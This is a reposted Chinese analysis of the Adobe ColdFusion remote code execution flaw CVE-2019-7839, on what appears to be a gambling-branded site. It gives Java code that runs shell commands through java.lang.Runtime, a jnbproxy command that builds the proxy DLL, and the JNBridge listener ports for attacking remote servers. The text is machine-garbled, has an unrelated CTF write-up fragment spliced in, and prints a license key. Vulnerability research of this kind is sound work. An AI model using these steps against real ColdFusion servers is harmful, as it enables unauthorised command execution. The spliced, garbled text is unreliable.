Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

申博_安全预警 申博 64次浏览 未收录 0个评论

破绽简介

Adobe ColdFusion 是一个商用的疾速开辟平台。它可以作为一个开辟平台运用,也可以供应Flash长途效劳或许作为 Adobe Flex运用的背景效劳器 。

2019年06月11日,Adobe 宣布平安通告,修复了Adobe ColdFusion多个严峻破绽。其中有一个由Moritz Bechler提交的敕令注入破绽(CVE-2019-7839)。  2019年06月26日,Moritz Bechler 在 Bugtraq 上宣布了长途代码实行破绽(CVE-2019-7839)的部份细节,由于 JNBridge 组件存在缺点,而 ColdFusion 默许开启JNBridge组件,致使代码实行破绽。

破绽影响

· ColdFusion 2018 Update 3 及之前的版本

· ColdFusion 2018 Update 10 及之前的版本

· ColdFusion 11 Update 18 及之前的版本

· <= ColdFusion 9

破绽剖析

依据 Moritz Bechler 表露的部份细节,是由于ColdFusion 默许开启了 JNBridge listener 从而致使了破绽。

先来相识一下JNBridge。

什么是 JNBridge?

JNBridge 是一种抢先的JAVA与.NET互操纵的的产物,依附JNBridge手艺,Java 和.NET代码无需交织编译器就可以完成对象同享。一切Java代码运转在JVM上,而.NET代码则运转在CLR上。在该计划下,JVM和CLR可以运 行在差别的机械上,也可以运转在一台机械的差别历程上,以至还能运转在雷同的历程的差别运用程序域上。

下载 JNBridgePro,装置完以后会有demo。试用license

jnbp-eval-v10.0#1899-2367-9451-2280

这里我们尝试运用.net去挪用java,跑一下logDemo,相识下大抵流程。

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

启动 Java 效劳端

依据 JNBridge 的装置途径,修正startJava.bat,运转

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

可以看到,JNBridge 效劳端 listener 已开启,监听在8085端口。

构建 .Net 客户端

依据 demo的指导文档 logDemo.pdf,一步一步构建 .Net 项目。

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

运转

运转 .Net 项目,挪用 Java 效劳端,胜利挪用。

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

怎样实行挪用 java.lang.Runtime

之前流程有一步是将 loggerDemo.javaClass转成 logger.dll,试想一下,是不是可以将java.lang.Runtime导成dll文件,供 .Net 客户端援用,然后去挪用 Java 效劳端的java.lang.Runtime?

尝试一下

实战:2019国际赛De1CTF & Web题解

前言 为了去重庆XCTF Final吃火锅,周末就冲了一下De1CTF,以下是本次比赛Web题解。 SSRF Me 拿到题目源码如下: #! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding(‘latin1’)
app = Fl

将 rt.jar引入 classpath

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

增加 java.lang.Runtime类

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

导出 runtime.dll

引入 .Net 项目中供挪用

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

运转

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

胜利挪用到了 Java 效劳端中的java.lang.Runtime,这也是这个破绽的泉源。

ColdFusion 中的 JNBridge

ColdFusion 中是默许运转了 JNBridge listener 的,而且是 Java 效劳端,监听端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。

由于 Coldfusion 中带的 JNBridge 版本差别,所以组织 payload 的体式格局有些差别。

ColdFusion 2016/2018

ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,没法运用上面的的JNBridge v10去组织 payload,在 JNBridge 官网上可以下载一部份汗青版本,下载 v7.3版本。

编写想要在 Java 效劳端实行的代码

        String command = "whoami";
        String [] commandArgs;
        String os = System.getProperty("os.name");
        System.out.println(os);
        if(os.toLowerCase().startsWith("win")){
            commandArgs = new String[]{"cmd.exe", "/c", command};
        }else {
            commandArgs = new String[]{"/bin/bash", "-c", command};
        }

        Runtime runtime = Runtime.getRuntime();
        Process process = runtime.exec(commandArgs);

        BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = br.readLine()) != null)
        {
            System.out.println(line);
        }
        br.close();

内里运用到了java.lang.Runtime,java.lang.Process,java.io.BufferedReader,java.io.InputStreamReader和java.lang.System,将相干类从rt.jar中导成runtime2.dll,供 .Net 客户端援用。

依据 Java代码重写

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

这内里有个非常重要的 JNBShare.dll,这里运用本身装置的 JNBridge 胜利后天生的 JNBShare.dll,没法运用ColdFusion 中 JNBridge 的 JNBShare.dll,会报错。

运转,进击长途的ColdFusion 2018(Linux平台),胜利返回效果。

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

ColdFusion 9/11

ColdFusion 9 内部的 JNBridge 版本是 v5.1,监听端口是 6085。由于这个版本比较老了,没找到装置包,如今须要天生供我们援用的runtime2.dll和能用的JNBShare.dll。ColdFusion 内部的 JNBridge中的jnbproxyGui.exe没法构建 .net -> java项目,也就是说GUI东西用不了,所幸的是敕令行东西还可以用。

jnbproxy.exe,看下参数。

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

依据参数,天生runtime2.dll

jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System

至于 JNBShare.dll,由于内部的没法运用,装置包又下载不到。荣幸的是有人珍藏了这个JNBShare.dll,谷歌搜刮可以找到,而且刚好是v5.1版本的。

运转,进击长途的 ColdFusion 9(windows平台),返回敕令实行效果。

Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析

原文地点: https://www.4hou.com/vulnerable/19567.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Adobe ColdFusion RCE(CVE-2019-7839) 破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址